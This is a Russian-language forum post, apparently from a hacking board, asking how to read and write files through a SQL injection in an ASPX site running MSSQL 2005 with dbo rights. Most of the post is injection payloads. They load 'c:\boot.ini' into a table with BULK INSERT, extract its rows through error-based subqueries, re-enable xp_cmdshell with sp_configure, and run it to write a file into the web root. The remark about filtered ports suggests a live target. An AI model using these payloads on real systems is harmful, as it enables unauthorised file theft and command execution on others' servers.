![]() |
Чтение и запись файлов в Mssql
Есть SQL-инъекция в ASPX-скрипте, взаимодействующим c MSSQL 2005. Имеются права пользователя dbo. Для чтения файлов создаю таблицу и пишу туда содержимое файла:
Код:
'; CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:\boot.ini';--Код:
' or 1=(SELECT top 1 line FROM mydata)--Код:
' or 1=( SELECT TOP 1 line FROM ( SELECT top 4 line FROM mydata ORDER BY line ASC) sq ORDER BY line DESC);--Ищу способ нормального чтения файлов. Также нужен способ для записи. Права dbo позволяют выполнять команды с помощью xp_cmdshell, но ничего не выходит. Так как инъекция в MSSQL 2005, в котором xp_cmdshell по умолчанию отключен даже для dbo, сначала пробовал разрешить его использование: Код:
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--Код:
'; exec xp_cmdshell 'echo 1 > D:\web\test.html';--З.Ы. почти все порты фильтруются, включая 1433 |
| Время: 02:37 |